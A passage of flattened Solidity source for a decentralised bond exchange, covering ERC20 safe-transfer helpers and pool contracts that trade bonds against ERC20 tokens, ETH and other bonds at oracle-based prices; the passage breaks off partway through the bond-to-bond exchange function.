// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/generalizedDotc/BondVsErc20Exchange.sol
pragma solidity 0.6.6;
abstract contract BondVsErc20Exchange is BondExchange {
using SafeERC20 for ERC20;
struct VsErc20Pool {
address seller;
ERC20 swapPairToken;
LatestPriceOracleInterface swapPairOracle;
BondPricerInterface bondPricer;
int16 feeBaseE4;
bool isBondSale;
}
mapping(bytes32 => VsErc20Pool) internal _vsErc20Pool;
event LogCreateErc20ToBondPool(
bytes32 indexed poolID,
address indexed seller,
address indexed swapPairAddress
);
event LogCreateBondToErc20Pool(
bytes32 indexed poolID,
address indexed seller,
address indexed swapPairAddress
);
event LogUpdateVsErc20Pool(
bytes32 indexed poolID,
address swapPairOracleAddress,
address bondPricerAddress,
int16 feeBase // decimal: 4
);
event LogDeleteVsErc20Pool(bytes32 indexed poolID);
event LogExchangeErc20ToBond(
address indexed buyer,
bytes32 indexed bondID,
bytes32 indexed poolID,
uint256 bondAmount, // decimal: 8
uint256 swapPairAmount, // decimal: ERC20.decimals()
uint256 volume // USD, decimal: 8
);
event LogExchangeBondToErc20(
address indexed buyer,
bytes32 indexed bondID,
bytes32 indexed poolID,
uint256 bondAmount, // decimal: 8
uint256 swapPairAmount, // decimal: ERC20.decimals()
uint256 volume // USD, decimal: 8
);
/**
* @dev Reverts when the pool ID does not exist.
*/
modifier isExsistentVsErc20Pool(bytes32 poolID) {
require(
_vsErc20Pool[poolID].seller != address(0),
"the exchange pair does not exist"
);
_;
}
/**
* @notice Exchange buyer's ERC20 token to the seller's bond.
* @dev Ensure the seller has approved sufficient bonds and
* you approve ERC20 token to pay before executing this function.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param swapPairAmount is the exchange pair token amount to pay.
* @param expectedAmount is the bond amount to receive.
* @param range (decimal: 3)
*/
function exchangeErc20ToBond(
bytes32 bondID,
bytes32 poolID,
uint256 swapPairAmount,
uint256 expectedAmount,
uint256 range
) external returns (uint256 bondAmount) {
bondAmount = _exchangeErc20ToBond(
msg.sender,
bondID,
poolID,
swapPairAmount
);
// assert(bondAmount != 0);
_assertExpectedPriceRange(bondAmount, expectedAmount, range);
}
/**
* @notice Exchange buyer's bond to the seller's ERC20 token.
* @dev Ensure the seller has approved sufficient ERC20 token and
* you approve bonds to pay before executing this function.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param bondAmount is the bond amount to pay.
* @param expectedAmount is the exchange pair token amount to receive.
* @param range (decimal: 3)
*/
function exchangeBondToErc20(
bytes32 bondID,
bytes32 poolID,
uint256 bondAmount,
uint256 expectedAmount,
uint256 range
) external returns (uint256 swapPairAmount) {
swapPairAmount = _exchangeBondToErc20(
msg.sender,
bondID,
poolID,
bondAmount
);
// assert(swapPairAmount != 0);
_assertExpectedPriceRange(swapPairAmount, expectedAmount, range);
}
/**
* @notice Returns the exchange rate including spread.
*/
function calcRateBondToErc20(bytes32 bondID, bytes32 poolID)
external
returns (uint256 rateE8)
{
(rateE8, , , ) = _calcRateBondToErc20(bondID, poolID);
}
/**
* @notice Returns pool ID generated by the immutable pool settings.
*/
function generateVsErc20PoolID(
address seller,
address swapPairAddress,
bool isBondSale
) external view returns (bytes32 poolID) {
return _generateVsErc20PoolID(seller, swapPairAddress, isBondSale);
}
/**
* @notice Register a new vsErc20Pool.
*/
function createVsErc20Pool(
ERC20 swapPairAddress,
LatestPriceOracleInterface swapPairOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4,
bool isBondSale
) external returns (bytes32 poolID) {
return
_createVsErc20Pool(
msg.sender,
swapPairAddress,
swapPairOracleAddress,
bondPricerAddress,
feeBaseE4,
isBondSale
);
}
/**
* @notice Update the mutable pool settings.
*/
function updateVsErc20Pool(
bytes32 poolID,
LatestPriceOracleInterface swapPairOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4
) external {
require(
_vsErc20Pool[poolID].seller == msg.sender,
"not the owner of the pool ID"
);
_updateVsErc20Pool(
poolID,
swapPairOracleAddress,
bondPricerAddress,
feeBaseE4
);
}
/**
* @notice Delete the pool settings.
*/
function deleteVsErc20Pool(bytes32 poolID) external {
require(
_vsErc20Pool[poolID].seller == msg.sender,
"not the owner of the pool ID"
);
_deleteVsErc20Pool(poolID);
}
/**
* @notice Returns the pool settings.
*/
function getVsErc20Pool(bytes32 poolID)
external
view
returns (
address seller,
ERC20 swapPairAddress,
LatestPriceOracleInterface swapPairOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4,
bool isBondSale
)
{
return _getVsErc20Pool(poolID);
}
/**
* @dev Exchange buyer's ERC20 token to the seller's bond.
* Ensure the seller has approved sufficient bonds and
* buyer approve ERC20 token to pay before executing this function.
* @param buyer is the buyer address.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param swapPairAmount is the exchange pair token amount to pay.
* @return bondAmount is the received bond amount.
*/
function _exchangeErc20ToBond(
address buyer,
bytes32 bondID,
bytes32 poolID,
uint256 swapPairAmount
) internal returns (uint256 bondAmount) {
(
address seller,
ERC20 swapPairToken,
,
,
,
bool isBondSale
) = _getVsErc20Pool(poolID);
require(isBondSale, "This pool is for buying bond");
(ERC20 bondToken, , , ) = _getBond(_bondMakerContract, bondID);
require(address(bondToken) != address(0), "the bond is not registered");
uint256 volumeE8;
{
(
uint256 rateE8,
,
uint256 swapPairPriceE8,
) = _calcRateBondToErc20(bondID, poolID);
require(
rateE8 > MIN_EXCHANGE_RATE_E8,
"exchange rate is too small"
);
require(
rateE8 < MAX_EXCHANGE_RATE_E8,
"exchange rate is too large"
);
uint8 decimalsOfSwapPair = swapPairToken.decimals();
bondAmount =
_applyDecimalGap(
swapPairAmount,
decimalsOfSwapPair,
DECIMALS_OF_BOND + 8
) /
rateE8;
require(bondAmount != 0, "must transfer non-zero bond amount");
volumeE8 = swapPairPriceE8.mul(swapPairAmount).div(
10**uint256(decimalsOfSwapPair)
);
}
require(
bondToken.transferFrom(seller, buyer, bondAmount),
"fail to transfer bonds"
);
swapPairToken.safeTransferFrom(buyer, seller, swapPairAmount);
emit LogExchangeErc20ToBond(
buyer,
bondID,
poolID,
bondAmount,
swapPairAmount,
volumeE8
);
}
/**
* @dev Exchange buyer's bond to the seller's ERC20 token.
* Ensure the seller has approved sufficient ERC20 token and
* buyer approve bonds to pay before executing this function.
* @param buyer is the buyer address.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param bondAmount is the bond amount to pay.
* @return swapPairAmount is the received swap pair token amount.
*/
function _exchangeBondToErc20(
address buyer,
bytes32 bondID,
bytes32 poolID,
uint256 bondAmount
) internal returns (uint256 swapPairAmount) {
(
address seller,
ERC20 swapPairToken,
,
,
,
bool isBondSale
) = _getVsErc20Pool(poolID);
require(!isBondSale, "This pool is not for buying bond");
(ERC20 bondToken, , , ) = _getBond(_bondMakerContract, bondID);
require(address(bondToken) != address(0), "the bond is not registered");
uint256 volumeE8;
{
(uint256 rateE8, uint256 bondPriceE8, , ) = _calcRateBondToErc20(
bondID,
poolID
);
require(
rateE8 > MIN_EXCHANGE_RATE_E8,
"exchange rate is too small"
);
require(
rateE8 < MAX_EXCHANGE_RATE_E8,
"exchange rate is too large"
);
uint8 decimalsOfSwapPair = swapPairToken.decimals();
swapPairAmount = _applyDecimalGap(
bondAmount.mul(rateE8),
DECIMALS_OF_BOND + 8,
decimalsOfSwapPair
);
require(swapPairAmount != 0, "must transfer non-zero token amount");
volumeE8 = bondPriceE8.mul(bondAmount).div(
10**uint256(DECIMALS_OF_BOND)
);
}
require(
bondToken.transferFrom(buyer, seller, bondAmount),
"fail to transfer bonds"
);
swapPairToken.safeTransferFrom(seller, buyer, swapPairAmount);
emit LogExchangeBondToErc20(
buyer,
bondID,
poolID,
bondAmount,
swapPairAmount,
volumeE8
);
}
function _calcRateBondToErc20(bytes32 bondID, bytes32 poolID)
internal
returns (
uint256 rateE8,
uint256 bondPriceE8,
uint256 swapPairPriceE8,
int256 spreadE8
)
{
(
,
,
LatestPriceOracleInterface erc20Oracle,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
) = _getVsErc20Pool(poolID);
swapPairPriceE8 = _getLatestPrice(erc20Oracle);
(bondPriceE8, spreadE8) = _calcBondPriceAndSpread(
bondPricer,
bondID,
feeBaseE4
);
bondPriceE8 = _calcUsdPrice(bondPriceE8);
rateE8 = bondPriceE8.mul(10**8).div(
swapPairPriceE8,
"ERC20 oracle price must be non-zero"
);
// `spreadE8` is less than 0.15 * 10**8.
if (isBondSale) {
rateE8 = rateE8.mul(uint256(10**8 + spreadE8)) / 10**8;
} else {
rateE8 = rateE8.mul(10**8) / uint256(10**8 + spreadE8);
}
}
function _generateVsErc20PoolID(
address seller,
address swapPairAddress,
bool isBondSale
) internal view returns (bytes32 poolID) {
return
keccak256(
abi.encode(
"Bond vs ERC20 exchange",
address(this),
seller,
swapPairAddress,
isBondSale
)
);
}
function _setVsErc20Pool(
bytes32 poolID,
address seller,
ERC20 swapPairToken,
LatestPriceOracleInterface swapPairOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
) internal {
require(seller != address(0), "the pool ID already exists");
require(
address(swapPairToken) != address(0),
"swapPairToken should be non-zero address"
);
require(
address(swapPairOracle) != address(0),
"swapPairOracle should be non-zero address"
);
require(
address(bondPricer) != address(0),
"bondPricer should be non-zero address"
);
_vsErc20Pool[poolID] = VsErc20Pool({
seller: seller,
swapPairToken: swapPairToken,
swapPairOracle: swapPairOracle,
bondPricer: bondPricer,
feeBaseE4: feeBaseE4,
isBondSale: isBondSale
});
}
function _createVsErc20Pool(
address seller,
ERC20 swapPairToken,
LatestPriceOracleInterface swapPairOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
) internal returns (bytes32 poolID) {
poolID = _generateVsErc20PoolID(
seller,
address(swapPairToken),
isBondSale
);
require(
_vsErc20Pool[poolID].seller == address(0),
"the pool ID already exists"
);
{
uint256 price = _getLatestPrice(swapPairOracle);
require(
price != 0,
"swapPairOracle has latestPrice() function which returns non-zero value"
);
}
_setVsErc20Pool(
poolID,
seller,
swapPairToken,
swapPairOracle,
bondPricer,
feeBaseE4,
isBondSale
);
if (isBondSale) {
emit LogCreateErc20ToBondPool(
poolID,
seller,
address(swapPairToken)
);
} else {
emit LogCreateBondToErc20Pool(
poolID,
seller,
address(swapPairToken)
);
}
emit LogUpdateVsErc20Pool(
poolID,
address(swapPairOracle),
address(bondPricer),
feeBaseE4
);
}
function _updateVsErc20Pool(
bytes32 poolID,
LatestPriceOracleInterface swapPairOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4
) internal isExsistentVsErc20Pool(poolID) {
(
address seller,
ERC20 swapPairToken,
,
,
,
bool isBondSale
) = _getVsErc20Pool(poolID);
_setVsErc20Pool(
poolID,
seller,
swapPairToken,
swapPairOracle,
bondPricer,
feeBaseE4,
isBondSale
);
emit LogUpdateVsErc20Pool(
poolID,
address(swapPairOracle),
address(bondPricer),
feeBaseE4
);
}
function _deleteVsErc20Pool(bytes32 poolID)
internal
isExsistentVsErc20Pool(poolID)
{
delete _vsErc20Pool[poolID];
emit LogDeleteVsErc20Pool(poolID);
}
function _getVsErc20Pool(bytes32 poolID)
internal
view
isExsistentVsErc20Pool(poolID)
returns (
address seller,
ERC20 swapPairToken,
LatestPriceOracleInterface swapPairOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
)
{
VsErc20Pool memory exchangePair = _vsErc20Pool[poolID];
seller = exchangePair.seller;
swapPairToken = exchangePair.swapPairToken;
swapPairOracle = exchangePair.swapPairOracle;
bondPricer = exchangePair.bondPricer;
feeBaseE4 = exchangePair.feeBaseE4;
isBondSale = exchangePair.isBondSale;
}
}
// File: contracts/util/TransferETH.sol
pragma solidity 0.6.6;
abstract contract TransferETH is TransferETHInterface {
receive() external payable override {
emit LogTransferETH(msg.sender, address(this), msg.value);
}
function _hasSufficientBalance(uint256 amount) internal view returns (bool ok) {
address thisContract = address(this);
return amount <= thisContract.balance;
}
/**
* @notice transfer `amount` ETH to the `recipient` account with emitting log
*/
function _transferETH(
address payable recipient,
uint256 amount,
string memory errorMessage
) internal {
require(_hasSufficientBalance(amount), errorMessage);
(bool success, ) = recipient.call{value: amount}(""); // solhint-disable-line avoid-low-level-calls
require(success, "transferring Ether failed");
emit LogTransferETH(address(this), recipient, amount);
}
function _transferETH(address payable recipient, uint256 amount) internal {
_transferETH(recipient, amount, "TransferETH: transfer amount exceeds balance");
}
}
// File: contracts/generalizedDotc/BondVsEthExchange.sol
pragma solidity 0.6.6;
abstract contract BondVsEthExchange is BondExchange, TransferETH {
uint8 internal constant DECIMALS_OF_ETH = 18;
struct VsEthPool {
address seller;
LatestPriceOracleInterface ethOracle;
BondPricerInterface bondPricer;
int16 feeBaseE4;
bool isBondSale;
}
mapping(bytes32 => VsEthPool) internal _vsEthPool;
mapping(address => uint256) internal _depositedEth;
event LogCreateEthToBondPool(
bytes32 indexed poolID,
address indexed seller
);
event LogCreateBondToEthPool(
bytes32 indexed poolID,
address indexed seller
);
event LogUpdateVsEthPool(
bytes32 indexed poolID,
address ethOracleAddress,
address bondPricerAddress,
int16 feeBase // decimal: 4
);
event LogDeleteVsEthPool(bytes32 indexed poolID);
event LogExchangeEthToBond(
address indexed buyer,
bytes32 indexed bondID,
bytes32 indexed poolID,
uint256 bondAmount, // decimal: 8
uint256 swapPairAmount, // decimal: 18
uint256 volume // USD, decimal: 8
);
event LogExchangeBondToEth(
address indexed buyer,
bytes32 indexed bondID,
bytes32 indexed poolID,
uint256 bondAmount, // decimal: 8
uint256 swapPairAmount, // decimal: 18
uint256 volume // USD, decimal: 8
);
/**
* @dev Reverts when the pool ID does not exist.
*/
modifier isExsistentVsEthPool(bytes32 poolID) {
require(
_vsEthPool[poolID].seller != address(0),
"the exchange pair does not exist"
);
_;
}
/**
* @notice Exchange buyer's ETH to the seller's bond.
* @dev Ensure the seller has approved sufficient bonds and
* you deposit ETH to pay before executing this function.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param ethAmount is the exchange pair token amount to pay.
* @param expectedAmount is the bond amount to receive.
* @param range (decimal: 3)
*/
function exchangeEthToBond(
bytes32 bondID,
bytes32 poolID,
uint256 ethAmount,
uint256 expectedAmount,
uint256 range
) external returns (uint256 bondAmount) {
bondAmount = _exchangeEthToBond(msg.sender, bondID, poolID, ethAmount);
// assert(bondAmount != 0);
_assertExpectedPriceRange(bondAmount, expectedAmount, range);
}
/**
* @notice Exchange buyer's bond to the seller's ETH.
* @dev Ensure the seller has deposited sufficient ETH and
* you approve bonds to pay before executing this function.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param bondAmount is the bond amount to pay.
* @param expectedAmount is the ETH amount to receive.
* @param range (decimal: 3)
*/
function exchangeBondToEth(
bytes32 bondID,
bytes32 poolID,
uint256 bondAmount,
uint256 expectedAmount,
uint256 range
) external returns (uint256 ethAmount) {
ethAmount = _exchangeBondToEth(msg.sender, bondID, poolID, bondAmount);
// assert(ethAmount != 0);
_assertExpectedPriceRange(ethAmount, expectedAmount, range);
}
/**
* @notice Returns the exchange rate including spread.
*/
function calcRateBondToEth(bytes32 bondID, bytes32 poolID)
external
returns (uint256 rateE8)
{
(rateE8, , , ) = _calcRateBondToEth(bondID, poolID);
}
/**
* @notice Returns pool ID generated by the immutable pool settings.
*/
function generateVsEthPoolID(address seller, bool isBondSale)
external
view
returns (bytes32 poolID)
{
return _generateVsEthPoolID(seller, isBondSale);
}
/**
* @notice Register a new vsEthPool.
*/
function createVsEthPool(
LatestPriceOracleInterface ethOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4,
bool isBondSale
) external returns (bytes32 poolID) {
return
_createVsEthPool(
msg.sender,
ethOracleAddress,
bondPricerAddress,
feeBaseE4,
isBondSale
);
}
/**
* @notice Update the mutable pool settings.
*/
function updateVsEthPool(
bytes32 poolID,
LatestPriceOracleInterface ethOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4
) external {
require(
_vsEthPool[poolID].seller == msg.sender,
"not the owner of the pool ID"
);
_updateVsEthPool(
poolID,
ethOracleAddress,
bondPricerAddress,
feeBaseE4
);
}
/**
* @notice Delete the pool settings.
*/
function deleteVsEthPool(bytes32 poolID) external {
require(
_vsEthPool[poolID].seller == msg.sender,
"not the owner of the pool ID"
);
_deleteVsEthPool(poolID);
}
/**
* @notice Returns the pool settings.
*/
function getVsEthPool(bytes32 poolID)
external
view
returns (
address seller,
LatestPriceOracleInterface ethOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4,
bool isBondSale
)
{
return _getVsEthPool(poolID);
}
/**
* @notice Transfer ETH to this contract and allow this contract to pay ETH when exchanging.
*/
function depositEth() external payable {
_addEthAllowance(msg.sender, msg.value);
}
/**
* @notice Withdraw all deposited ETH.
*/
function withdrawEth() external returns (uint256 amount) {
amount = _depositedEth[msg.sender];
_transferEthFrom(msg.sender, msg.sender, amount);
}
/**
* @notice Returns deposited ETH amount.
*/
function ethAllowance(address owner)
external
view
returns (uint256 amount)
{
amount = _depositedEth[owner];
}
/**
* @dev Exchange buyer's ETH to the seller's bond.
* Ensure the seller has approved sufficient bonds and
* buyer deposit ETH to pay before executing this function.
* @param buyer is the buyer address.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param swapPairAmount is the exchange pair token amount to pay.
* @return bondAmount is the received bond amount.
*/
function _exchangeEthToBond(
address buyer,
bytes32 bondID,
bytes32 poolID,
uint256 swapPairAmount
) internal returns (uint256 bondAmount) {
(address seller, , , , bool isBondSale) = _getVsEthPool(poolID);
require(isBondSale, "This pool is for buying bond");
(ERC20 bondToken, , , ) = _getBond(_bondMakerContract, bondID);
require(address(bondToken) != address(0), "the bond is not registered");
uint256 volumeE8;
{
(uint256 rateE8, , uint256 swapPairPriceE8, ) = _calcRateBondToEth(
bondID,
poolID
);
require(
rateE8 > MIN_EXCHANGE_RATE_E8,
"exchange rate is too small"
);
require(
rateE8 < MAX_EXCHANGE_RATE_E8,
"exchange rate is too large"
);
bondAmount =
_applyDecimalGap(
swapPairAmount,
DECIMALS_OF_ETH,
DECIMALS_OF_BOND + 8
) /
rateE8;
require(bondAmount != 0, "must transfer non-zero bond amount");
volumeE8 = swapPairPriceE8.mul(swapPairAmount).div(
10**uint256(DECIMALS_OF_ETH)
);
}
require(
bondToken.transferFrom(seller, buyer, bondAmount),
"fail to transfer bonds"
);
_transferEthFrom(buyer, seller, swapPairAmount);
emit LogExchangeEthToBond(
buyer,
bondID,
poolID,
bondAmount,
swapPairAmount,
volumeE8
);
}
/**
* @dev Exchange buyer's bond to the seller's ETH.
* Ensure the seller has deposited sufficient ETH and
* buyer approve bonds to pay before executing this function.
* @param buyer is the buyer address.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param bondAmount is the bond amount to pay.
* @return swapPairAmount is the received ETH amount.
*/
function _exchangeBondToEth(
address buyer,
bytes32 bondID,
bytes32 poolID,
uint256 bondAmount
) internal returns (uint256 swapPairAmount) {
(address seller, , , , bool isBondSale) = _getVsEthPool(poolID);
require(!isBondSale, "This pool is not for buying bond");
(ERC20 bondToken, , , ) = _getBond(_bondMakerContract, bondID);
require(address(bondToken) != address(0), "the bond is not registered");
uint256 volumeE8;
{
(uint256 rateE8, uint256 bondPriceE8, , ) = _calcRateBondToEth(
bondID,
poolID
);
require(
rateE8 > MIN_EXCHANGE_RATE_E8,
"exchange rate is too small"
);
require(
rateE8 < MAX_EXCHANGE_RATE_E8,
"exchange rate is too large"
);
swapPairAmount = _applyDecimalGap(
bondAmount.mul(rateE8),
DECIMALS_OF_BOND + 8,
DECIMALS_OF_ETH
);
require(swapPairAmount != 0, "must transfer non-zero token amount");
volumeE8 = bondPriceE8.mul(bondAmount).div(
10**uint256(DECIMALS_OF_BOND)
);
}
require(
bondToken.transferFrom(buyer, seller, bondAmount),
"fail to transfer bonds"
);
_transferEthFrom(seller, buyer, swapPairAmount);
emit LogExchangeBondToEth(
buyer,
bondID,
poolID,
bondAmount,
swapPairAmount,
volumeE8
);
}
function _calcRateBondToEth(bytes32 bondID, bytes32 poolID)
internal
returns (
uint256 rateE8,
uint256 bondPriceE8,
uint256 swapPairPriceE8,
int256 spreadE8
)
{
(
,
LatestPriceOracleInterface ethOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
) = _getVsEthPool(poolID);
swapPairPriceE8 = _getLatestPrice(ethOracle);
(bondPriceE8, spreadE8) = _calcBondPriceAndSpread(
bondPricer,
bondID,
feeBaseE4
);
bondPriceE8 = _calcUsdPrice(bondPriceE8);
rateE8 = bondPriceE8.mul(10**8).div(
swapPairPriceE8,
"ERC20 oracle price must be non-zero"
);
// `spreadE8` is less than 0.15 * 10**8.
if (isBondSale) {
rateE8 = rateE8.mul(uint256(10**8 + spreadE8)) / 10**8;
} else {
rateE8 = rateE8.mul(uint256(10**8 - spreadE8)) / 10**8;
}
}
function _generateVsEthPoolID(address seller, bool isBondSale)
internal
view
returns (bytes32 poolID)
{
return
keccak256(
abi.encode(
"Bond vs ETH exchange",
address(this),
seller,
isBondSale
)
);
}
function _setVsEthPool(
bytes32 poolID,
address seller,
LatestPriceOracleInterface ethOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
) internal {
require(seller != address(0), "the pool ID already exists");
require(
address(ethOracle) != address(0),
"ethOracle should be non-zero address"
);
require(
address(bondPricer) != address(0),
"bondPricer should be non-zero address"
);
_vsEthPool[poolID] = VsEthPool({
seller: seller,
ethOracle: ethOracle,
bondPricer: bondPricer,
feeBaseE4: feeBaseE4,
isBondSale: isBondSale
});
}
function _createVsEthPool(
address seller,
LatestPriceOracleInterface ethOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
) internal returns (bytes32 poolID) {
poolID = _generateVsEthPoolID(seller, isBondSale);
require(
_vsEthPool[poolID].seller == address(0),
"the pool ID already exists"
);
{
uint256 price = ethOracle.latestPrice();
require(
price != 0,
"ethOracle has latestPrice() function which returns non-zero value"
);
}
_setVsEthPool(
poolID,
seller,
ethOracle,
bondPricer,
feeBaseE4,
isBondSale
);
if (isBondSale) {
emit LogCreateEthToBondPool(poolID, seller);
} else {
emit LogCreateBondToEthPool(poolID, seller);
}
emit LogUpdateVsEthPool(
poolID,
address(ethOracle),
address(bondPricer),
feeBaseE4
);
}
function _updateVsEthPool(
bytes32 poolID,
LatestPriceOracleInterface ethOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4
) internal isExsistentVsEthPool(poolID) {
(address seller, , , , bool isBondSale) = _getVsEthPool(poolID);
_setVsEthPool(
poolID,
seller,
ethOracle,
bondPricer,
feeBaseE4,
isBondSale
);
emit LogUpdateVsEthPool(
poolID,
address(ethOracle),
address(bondPricer),
feeBaseE4
);
}
function _deleteVsEthPool(bytes32 poolID)
internal
isExsistentVsEthPool(poolID)
{
delete _vsEthPool[poolID];
emit LogDeleteVsEthPool(poolID);
}
function _getVsEthPool(bytes32 poolID)
internal
view
isExsistentVsEthPool(poolID)
returns (
address seller,
LatestPriceOracleInterface ethOracle,
BondPricerInterface bondPricer,
int16 feeBaseE4,
bool isBondSale
)
{
VsEthPool memory exchangePair = _vsEthPool[poolID];
seller = exchangePair.seller;
ethOracle = exchangePair.ethOracle;
bondPricer = exchangePair.bondPricer;
feeBaseE4 = exchangePair.feeBaseE4;
isBondSale = exchangePair.isBondSale;
}
function _transferEthFrom(
address sender,
address recipient,
uint256 amount
) internal {
_subEthAllowance(sender, amount);
_transferETH(payable(recipient), amount);
}
function _addEthAllowance(address sender, uint256 amount) internal {
_depositedEth[sender] += amount;
require(_depositedEth[sender] >= amount, "overflow allowance");
}
function _subEthAllowance(address owner, uint256 amount) internal {
require(_depositedEth[owner] >= amount, "insufficient allowance");
_depositedEth[owner] -= amount;
}
}
// File: contracts/generalizedDotc/BondVsBondExchange.sol
pragma solidity 0.6.6;
abstract contract BondVsBondExchange is BondExchange {
/**
* @dev the sum of decimalsOfBond and decimalsOfOraclePrice of the bondMaker.
* This value is constant by the restriction of `_assertBondMakerDecimals`.
*/
uint8 internal constant DECIMALS_OF_BOND_VALUE = DECIMALS_OF_BOND +
DECIMALS_OF_ORACLE_PRICE;
struct VsBondPool {
address seller;
BondMakerInterface bondMakerForUser;
VolatilityOracleInterface volatilityOracle;
BondPricerInterface bondPricerForUser;
BondPricerInterface bondPricer;
int16 feeBaseE4;
}
mapping(bytes32 => VsBondPool) internal _vsBondPool;
event LogCreateBondToBondPool(
bytes32 indexed poolID,
address indexed seller,
address indexed bondMakerForUser
);
event LogUpdateVsBondPool(
bytes32 indexed poolID,
address bondPricerForUser,
address bondPricer,
int16 feeBase // decimal: 4
);
event LogDeleteVsBondPool(bytes32 indexed poolID);
event LogExchangeBondToBond(
address indexed buyer,
bytes32 indexed bondID,
bytes32 indexed poolID,
uint256 bondAmount, // decimal: 8
uint256 swapPairAmount, // USD, decimal: 8
uint256 volume // USD, decimal: 8
);
/**
* @dev Reverts when the pool ID does not exist.
*/
modifier isExsistentVsBondPool(bytes32 poolID) {
require(
_vsBondPool[poolID].seller != address(0),
"the exchange pair does not exist"
);
_;
}
/**
* @notice Exchange the seller's bond to buyer's multiple bonds.
* @dev Ensure the seller has approved sufficient bonds and
* Approve bonds to pay before executing this function.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param amountInDollarsE8 is the exchange pair token amount to pay. (decimals: 8)
* @param expectedAmount is the bond amount to receive. (decimals: 8)
* @param range (decimal: 3)
*/
function exchangeBondToBond(
bytes32 bondID,
bytes32 poolID,
bytes32[] calldata bondIDs,
uint256 amountInDollarsE8,
uint256 expectedAmount,
uint256 range
) external returns (uint256 bondAmount) {
uint256 amountInDollars = _applyDecimalGap(
amountInDollarsE8,
8,
DECIMALS_OF_BOND_VALUE
);
bondAmount = _exchangeBondToBond(
msg.sender,
bondID,
poolID,
bondIDs,
amountInDollars
);
_assertExpectedPriceRange(bondAmount, expectedAmount, range);
}
/**
* @notice Returns the exchange rate including spread.
*/
function calcRateBondToUsd(bytes32 bondID, bytes32 poolID)
external
returns (uint256 rateE8)
{
(rateE8, , , ) = _calcRateBondToUsd(bondID, poolID);
}
/**
* @notice Returns pool ID generated by the immutable pool settings.
*/
function generateVsBondPoolID(address seller, address bondMakerForUser)
external
view
returns (bytes32 poolID)
{
return _generateVsBondPoolID(seller, bondMakerForUser);
}
/**
* @notice Register a new vsBondPool.
*/
function createVsBondPool(
BondMakerInterface bondMakerForUserAddress,
VolatilityOracleInterface volatilityOracleAddress,
BondPricerInterface bondPricerForUserAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4
) external returns (bytes32 poolID) {
return
_createVsBondPool(
msg.sender,
bondMakerForUserAddress,
volatilityOracleAddress,
bondPricerForUserAddress,
bondPricerAddress,
feeBaseE4
);
}
/**
* @notice Update the mutable pool settings.
*/
function updateVsBondPool(
bytes32 poolID,
VolatilityOracleInterface volatilityOracleAddress,
BondPricerInterface bondPricerForUserAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4
) external {
require(
_vsBondPool[poolID].seller == msg.sender,
"not the owner of the pool ID"
);
_updateVsBondPool(
poolID,
volatilityOracleAddress,
bondPricerForUserAddress,
bondPricerAddress,
feeBaseE4
);
}
/**
* @notice Delete the pool settings.
*/
function deleteVsBondPool(bytes32 poolID) external {
require(
_vsBondPool[poolID].seller == msg.sender,
"not the owner of the pool ID"
);
_deleteVsBondPool(poolID);
}
/**
* @notice Returns the pool settings.
*/
function getVsBondPool(bytes32 poolID)
external
view
returns (
address seller,
BondMakerInterface bondMakerForUserAddress,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricerForUserAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4,
bool isBondSale
)
{
return _getVsBondPool(poolID);
}
/**
* @notice Returns the total approved bond amount in U.S. dollars.
* Unnecessary bond must not be included in bondIDs.
*/
function totalBondAllowance(
bytes32 poolID,
bytes32[] calldata bondIDs,
uint256 maturityBorder,
address owner
) external returns (uint256 allowanceInDollarsE8) {
(
,
BondMakerInterface bondMakerForUser,
VolatilityOracleInterface volatilityOracle,
BondPricerInterface bondPricerForUser,
,
,
) = _getVsBondPool(poolID);
uint256 allowanceInDollars = _totalBondAllowance(
bondMakerForUser,
volatilityOracle,
bondPricerForUser,
bondIDs,
maturityBorder,
owner
);
allowanceInDollarsE8 = _applyDecimalGap(
allowanceInDollars,
DECIMALS_OF_BOND_VALUE,
8
);
}
/**
* @dev Exchange the seller's bond to buyer's multiple bonds.
* Ensure the seller has approved sufficient bonds and
* buyer approve bonds to pay before executing this function.
* @param buyer is the buyer address.
* @param bondID is the target bond ID.
* @param poolID is the target pool ID.
* @param amountInDollars is the exchange pair token amount to pay. (decimals: 16)
* @return bondAmount is the received bond amount.
*/
function _exchangeBondToBond(
address buyer,
bytes32 bondID,
bytes32 poolID,
bytes32[] memory bondIDs,
uint256 amountInDollars
) internal returns (uint256 bondAmount) {
require(bondIDs.length != 0, "must input bonds for payment");
BondMakerInterface bondMakerForUser;
{
bool isBondSale;
(, bondMakerForUser, , , , , isBondSale) = _getVsBondPool(poolID);
require(isBondSale, "This pool is for buying bond");
}
(ERC20 bondToken, uint256 maturity, , ) = _getBond(
_bondMakerContract,
bondID
);
